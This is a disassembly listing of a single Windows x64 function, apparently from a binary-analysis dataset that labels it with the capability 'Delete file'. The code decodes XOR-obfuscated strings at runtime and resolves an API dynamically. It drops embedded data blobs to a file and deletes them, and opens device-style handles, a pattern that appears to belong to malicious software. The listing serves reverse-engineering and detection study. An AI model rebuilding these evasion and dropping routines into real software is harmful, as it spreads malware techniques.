Function at 0x140006370
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov byte [rsp + 0x40], 0x7e
mov al, reloc.WS2_32.dll_recv
mov cl, 0xa
mov dl, 0x1a
mov r8b, send
movzx r9d, r8b
mov r10b, 0x50
movzx r11d, dl
movzx ebx, r8b
movzx edi, r8b
xor esi, esi
xor al, 0x7e
mov byte [rsp + 0x41], al
xor cl, 0x7e
mov byte [rsp + 0x42], cl
xor dl, 0x7e
mov byte [rsp + 0x43], dl
xor r8b, 0x7e
mov byte [rsp + 0x44], r8b
xor r9b, 0x7e
mov byte [rsp + 0x45], r9b
xor r10b, 0x7e
mov byte [rsp + 0x46], r10b
xor r11b, 0x7e
mov byte [rsp + 0x47], r11b
xor bl, 0x7e
mov byte [rsp + 0x48], bl
xor dil, 0x7e
mov byte [rbp - 0x80], dil
mov byte [rbp - 0x7f], sil
lea rcx, [rsp + 0x41]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp - 0x69], rax
test rax, rax
je 0x1400064f6
mov byte [rbp - 0x79], 0x54
mov cl, 6
mov dl, 0x20
mov r8b, 0x38
mov r9b, reloc.WS2_32.dll_send
mov r10b, 0x31
movzx r11d, dl
mov bl, 2
movzx edi, r10b
mov al, 0x26
mov sil, 0x27
mov r14b, 0x3d
mov r15b, 0x3b
mov r12b, 0x3a
xor r13d, r13d
xor cl, 0x54
mov byte [rbp - 0x78], cl
xor dl, 0x54
mov byte [rbp - 0x77], dl
xor r8b, 0x54
mov byte [rbp - 0x76], r8b
xor r9b, 0x54
mov byte [rbp - 0x75], r9b
xor r10b, 0x54
mov byte [rbp - 0x74], r10b
xor r11b, 0x54
mov byte [rbp - 0x73], r11b
xor bl, 0x54
mov byte [rbp - 0x72], bl
xor dil, 0x54
mov byte [rbp - 0x71], dil
xor al, 0x54
mov byte [rbp - 0x70], al
xor sil, 0x54
mov byte [rbp - 0x6f], sil
xor r14b, 0x54
mov byte [rbp - 0x6e], r14b
xor r15b, 0x54
mov byte [rbp - 0x6d], r15b
xor r12b, 0x54
mov byte [rbp - 0x6c], r12b
mov byte [rbp - 0x6b], r13b
lea rdx, [rbp - 0x78]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400334e8], rax
test rax, rax
je 0x1400064f4
lea rcx, [0x1400333d0]
call rax
xor esi, esi
test eax, eax
jne 0x1400064f6
mov eax, esi
cmp dword [0x1400333d4], 0xa
sete al
mov dword [section..data], eax
jmp 0x1400064f6
xor esi, esi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call fcn.1400060a0
test al, al
je 0x140006527
mov rax, 0xffffffffffffffff
jmp 0x140006af3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140033350], xmm0
movups xmmword [0x140033360], xmm0
movups xmmword [0x140033370], xmm0
movups xmmword [0x140033380], xmm0
movups xmmword [0x140033390], xmm0
movups xmmword [0x1400333a0], xmm0
mov dword [0x1400333b0], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd rdi, r8d
test r8d, r8d
jle 0x1400065d1
mov rbx, rsi
movabs r14, 0x4ec4ec4ec4ec4ec5
lea rsi, [0x140000000]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rsi + 0x2ea40]
mov byte [rbx + rsi + 0x33350], al
inc rbx
cmp rbx, rdi
jl 0x1400065a0
lea rcx, [rbp + 0xf]
call fcn.140005b50
nop
cmp qword [rbp + 0x1f], 0
je 0x140006aa6
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 7
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0x8708
lea rdx, [0x1400105a0]
lea rcx, [rbp + 0xf]
call fcn.14000d580
test al, al
je 0x140006aa6
lea rcx, [rbp + 0xf]
call fcn.14000ba80
test al, al
jne 0x1400066c0
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 7
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0x9a78
lea rdx, [0x140018cb0]
lea rcx, [rbp + 0xf]
call fcn.14000d580
test al, al
je 0x140006aa6
lea rcx, [rbp + 0xf]
call fcn.14000ba80
test al, al
jne 0x1400066c0
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 7
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0xc238
lea rdx, [0x140022730]
lea rcx, [rbp + 0xf]
call fcn.14000d580
test al, al
je 0x140006aa6
lea rcx, [rbp + 0xf]
call fcn.14000ba80
test al, al
jne 0x1400066c0
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 7
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x140006aa6
mov ecx, 0x32
mov dword [rbp - 0x69], ecx
mov word [rbp - 0x61], cx
mov eax, 0x6e
movzx r10d, ax
movzx r11d, ax
lea r14d, [rcx + 0x4a]
lea r15d, [rcx + 0x21]
lea r12d, [rcx + 0x2c]
movzx ebx, cx
movzx r13d, word [str..Ndd]
xor r13w, cx
movzx edi, word [0x14002ea32]
xor di, cx
movzx r9d, word [0x14002ea34]
xor r9w, cx
movzx r8d, word [0x14002ea36]
xor r8w, cx
movzx edx, word [0x14002ea38]
xor dx, cx
movzx ecx, word [0x14002ea3a]
xor cx, bx
movzx eax, word [0x14002ea3c]
xor ax, bx
mov esi, 0x6e
xor si, word [rbp - 0x69]
mov word [rbp - 0x5f], si
xor r10w, bx
mov word [rbp - 0x5d], r10w
mov esi, 0x1c
mov r10d, 0x32
xor si, r10w
mov word [rbp - 0x5b], si
xor r11w, r10w
mov word [rbp - 0x59], r11w
xor r14w, r10w
mov word [rbp - 0x57], r14w
xor r15w, r10w
mov word [rbp - 0x55], r15w
xor r12w, r10w
mov word [rbp - 0x53], r12w
xor bx, r10w
mov word [rbp - 0x51], bx
xor r13w, r10w
mov word [rbp - 0x4f], r13w
xor di, r10w
mov word [rbp - 0x4d], di
xor r9w, r10w
mov word [rbp - 0x4b], r9w
xor r8w, r10w
mov word [rbp - 0x49], r8w
xor dx, r10w
mov word [rbp - 0x47], dx
xor cx, r10w
mov word [rbp - 0x45], cx
xor ax, r10w
mov word [rbp - 0x43], ax
xor eax, eax
mov word [rbp - 0x41], ax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp - 0x5f]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x14000694b
mov ecx, 0x4b
mov dword [rbp - 0x69], ecx
mov word [rbp - 0x39], cx
mov eax, reloc.WS2_32.dll_socket
movzx edi, ax
movzx esi, ax
lea r12d, [rcx - 0x46]
mov r13d, 0x2f
movzx r10d, r13w
movzx r11d, cx
movzx r14d, word [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
xor r14w, cx
movzx ebx, word [0x14002ea42]
xor bx, cx
movzx edx, word [0x14002ea44]
xor dx, cx
movzx r9d, word [0x14002ea46]
xor r9w, cx
movzx r8d, word [0x14002ea48]
xor r8w, cx
movzx ecx, word [0x14002ea4a]
xor cx, r11w
movzx eax, word [0x14002ea4c]
xor ax, r11w
mov r15d, reloc.WS2_32.dll_socket
xor r15w, word [rbp - 0x69]
mov word [rbp - 0x37], r15w
xor di, r11w
mov word [rbp - 0x35], di
mov edi, 0x4b
mov r15d, 0x65
xor r15w, di
mov word [rbp - 0x33], r15w
xor si, di
mov word [rbp - 0x31], si
xor r12w, di
mov word [rbp - 0x2f], r12w
xor r13w, di
mov word [rbp - 0x2d], r13w
xor r10w, di
mov word [rbp - 0x2b], r10w
xor r11w, di
mov word [rbp - 0x29], r11w
xor r14w, di
mov word [rbp - 0x27], r14w
xor bx, di
mov word [rbp - 0x25], bx
xor dx, di
mov word [rbp - 0x23], dx
xor r9w, di
mov word [rbp - 0x21], r9w
xor r8w, di
mov word [rbp - 0x1f], r8w
xor cx, di
mov word [rbp - 0x1d], cx
xor ax, di
mov word [rbp - 0x1b], ax
xor eax, eax
mov word [rbp - 0x19], ax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp - 0x37]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140006a9e
mov byte [rsp + 0x40], 0x37
mov al, 0x59
mov cl, 0x43
mov dl, 0x58
mov r8b, 0x44
mov r9b, 0x5c
mov r10b, 0x45
movzx r11d, al
mov bl, 0x5b
mov dil, 0x19
mov sil, 0x52
mov r14b, 0x4f
movzx r15d, sil
xor r12d, r12d
xor al, 0x37
mov byte [rsp + 0x41], al
xor cl, 0x37
mov byte [rsp + 0x42], cl
xor dl, 0x37
mov byte [rsp + 0x43], dl
xor r8b, 0x37
mov byte [rsp + 0x44], r8b
xor r9b, 0x37
mov byte [rsp + 0x45], r9b
xor r10b, 0x37
mov byte [rsp + 0x46], r10b
xor r11b, 0x37
mov byte [rsp + 0x47], r11b
xor bl, 0x37
mov byte [rsp + 0x48], bl
xor dil, 0x37
mov byte [rbp - 0x80], dil
xor sil, 0x37
mov byte [rbp - 0x7f], sil
xor r14b, 0x37
mov byte [rbp - 0x7e], r14b
xor r15b, 0x37
mov byte [rbp - 0x7d], r15b
mov byte [rbp - 0x7c], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
lea rax, [rsp + 0x41]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400069f3
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x11]
call fcn.140002f20
nop
lea rcx, [rbp - 0x11]
call fcn.14000da10
mov qword [0x1400333b8], rax
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x140006a60
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de54
mov rax, qword [0x1400333b8]
mov rcx, r13
test rax, rax
je 0x140006aa1
call fcn.140004710
mov rcx, r13
test al, al
je 0x140006aa1
call fcn.140003e70
mov rcx, r13
test al, al
je 0x140006aa1
call fcn.140004460
test al, al
je 0x140006a9e
cmp dword [section..data], 0
je 0x140006aad
mov rcx, r13
call fcn.140004c40
test al, al
jne 0x140006aad
mov rcx, r13
call fcn.140007e10
mov r13, 0xffffffffffffffff
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x140006af0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006aeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006aeb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de54
mov rax, r13
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.14000e0f0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret